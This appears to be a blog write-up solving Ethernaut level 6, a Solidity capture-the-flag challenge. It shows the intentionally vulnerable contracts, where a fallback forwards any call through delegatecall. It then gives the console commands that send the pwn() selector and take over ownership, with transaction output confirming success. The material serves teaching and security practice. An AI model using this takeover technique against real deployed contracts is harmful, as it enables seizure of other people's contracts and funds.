🌴

Ethernaut-solution 6. Delegation

2023/05/06に公開

Ethernaut-solution

6. DELEGATION

This means that a contract can dynamically load code from a different address at runtime.
Storage, current address and balance still refer to the calling contract,
only the code is taken from the called address.

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

  • Look into Soliditys documentation on the delegatecall low level function, how it works,
    how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.

  • Fallback methods

  • Method ids

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender; //change the pwner call the Delegation contract 
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data); //By hacking, delegatecall signature of pwn() function into this fallback 
    if (result) {
      this;
    }
  }
}

//まずいつもどおりinstanceをつくる

//contract確認

>contract

n {methods: {…}, abi: Array(3), address: '0x6288594C2A2B0847D5C6b7f6E7fB92f380D13717', transactionHash: undefined, constructor: ƒ, …}
abi: (3) [{…}, {…}, {…}]
address: "0x6288594C2A2B0847D5C6b7f6E7fB92f380D13717"
allEvents: ƒ (n)
constructor: ƒ ()
contract: I {_requestManager: t, givenProvider: Proxy, providers: {…}, setProvider: ƒ, …}
getPastEvents: ƒ (n,i)
methods: {owner(): ƒ}
owner: ƒ ()
send: ƒ (t)
sendTransaction: ƒ ()
transactionHash: undefined
[[Prototype]]: e
>contract.abi
(3) [{…}, {…}, {…}]
0: {inputs: Array(1), stateMutability: 'nonpayable', type: 'constructor', constant: undefined, payable: undefined}
1: {stateMutability: 'nonpayable', type: 'fallback', constant: undefined, payable: undefined}
2: {inputs: Array(0), name: 'owner', outputs: Array(1), stateMutability: 'view', type: 'function', …}
length: 3
[[Prototype]]: Array(0)

//現オーナーの確認

>await contract.owner()
'0x9451961b7Aea1Df57bc20CC68D72f662241b5493'
>var pwnFuncSignature = web3.utils.sha3("pwn()")
undefined
>pwnFuncSignature
'0xdd365b8b15d5d78ec041b851b68c8b985bee78bee0b87c4acf261024d8beabab'
>contract.sendTransaction({data: pwnFuncSignature})
Promise {<pending>, _events: o, emit: ƒ, on: ƒ, …}addListener: ƒ (t,e,r)emit: ƒ (t,e,r,n,o,a)listeners: ƒ (t)off: ƒ (t,e,r,n)on: ƒ (t,e,r)once: ƒ (t,e,r)removeAllListeners: ƒ (t)removeListener: ƒ (t,e,r,n)_events: o {}[[Prototype]]: Promise[[PromiseState]]: "pending"[[PromiseResult]]: undefined
e4e9b69aea3571538dca60595571493ed3b7d30d.js:1 ⛏️ Sent transaction ⛏ https://rinkeby.etherscan.io/tx/0x3e1c3b84fcb960c8b027571fa9b2439959aaccf72da1b8d802d910d6e87732d8
e4e9b69aea3571538dca60595571493ed3b7d30d.js:1 ⛏️ Mined transaction ⛏ https://rinkeby.etherscan.io/tx/0x3e1c3b84fcb960c8b027571fa9b2439959aaccf72da1b8d802d910d6e87732d8

//ownerがchangeしたことを確認

await contract.owner()
'0xF6eA8E869C68362eC2FA1b2159Fe459D6D8f30F5'

=> hackingに成功 via pwn()function

Usage of delegatecall is particularly risky and has been used as an attack vector on multiple historic hacks. With it,
your contract is practically saying "here, -other contract- or -other library-, do whatever you want with my state".
Delegates have complete access to your contracts state. The delegatecall function is a powerful feature,
but a dangerous one, and must be used with extreme care.

Please refer to the The Parity Wallet Hack Explained article for an accurate explanation of how this idea was used to steal 30M USD.

https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7/

Discussion